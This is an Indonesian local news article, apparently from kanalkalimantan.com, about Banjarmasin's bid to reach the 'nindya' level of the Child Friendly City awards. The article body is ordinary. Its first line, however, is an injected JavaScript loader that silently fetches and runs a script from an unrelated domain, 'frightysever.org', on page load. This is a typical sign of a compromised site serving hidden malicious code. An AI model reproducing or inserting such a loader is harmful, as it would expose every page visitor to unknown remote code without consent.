(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kepala Dinas Pemberdayaan Perempuan dan Perlindungan Anak (PPPA) Kota Banjarmasin, Iwan Fitriadi berharap pada puncak Hari Anak yang diadakan di Makasar 23 Juli mendatang, Banjarmasin dapat mencapai peringkat nindya untuk Kota Layak Anak (KLA).
Sebelumnya, Kementerian PPPA melakulan evaluasi di 10 kabupaten/kota di Kalsel. Evaluasi mencakup 5 klaster dan 24 indikator, di mana poin utama berfokus pada hal seperti sekolah ramah anak, Puskesmas ramah anak, hingga angka kelahiran anak.
Saat ini Kalsel telah mencapai tingkat madya KLA dan Iwan berharap agar Kalsel bisa mencapai lebih tinggi ke tingkat nindya. “Jadi memang masih ada beberapa yang belum memuhi klaster dan indikator itu. Kita sudah diverifikasi oleh kementerian beberapa waktu lalu. Bertahan di madya, kita optimis. Kalau naik ke nindya, kita tunggu hasilnya 23 Juli nanti,†bebernya.
Di Kalsel sendiri baru tiga kota yang saat ini berada di tingkat nindya, yaitu Banjarmasin, Amuntai, dan Tabalong. Selain itu, beberapa kabupaten/kota lainnya masih di tingkat pratama, bahkan ada yang belum mendapat penghargaan sama sekali.
Dari 514 kabupaten/kota seluruh Indonesia, hanya ada 11 kabupaten/kota yang memperoleh penghargaan KLA tingkat nindya dan 51 kabupaten/kota peroleh tingkat madya.
Pemerintah Kota Banjarmasin mendapatkan penghargaan KLA tingkat madya pada Juli 2018 di Surabaya. Penghargaan ini merupakan penghargaan kedua setelah penghargan setahun sebelumnya diraih Pemerintah Kota Banjarmasin sebagai Kota Layak Anak tingkat pratama pada Juli 2017 di Kota Pekan Baru, Riau.
Selama 2019 Banjarmasin melakukan beberapa upaya untuk meningkatkan KLA. Contohnya seperti 87 lembaga dan instansi diberi pelatihan oleh Dinas PPPA untuk memahami konvensi hak anak.
Juga jajaran Komisi IV DPRD Kota Banjarmasin menyambangi Pemerintah Kota Magelang. Kunjungan mereka bukan tanpa maksud, mereka hendak belajar dari Kota Magelang dalam upaya mewujudkan KLA. (mario)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.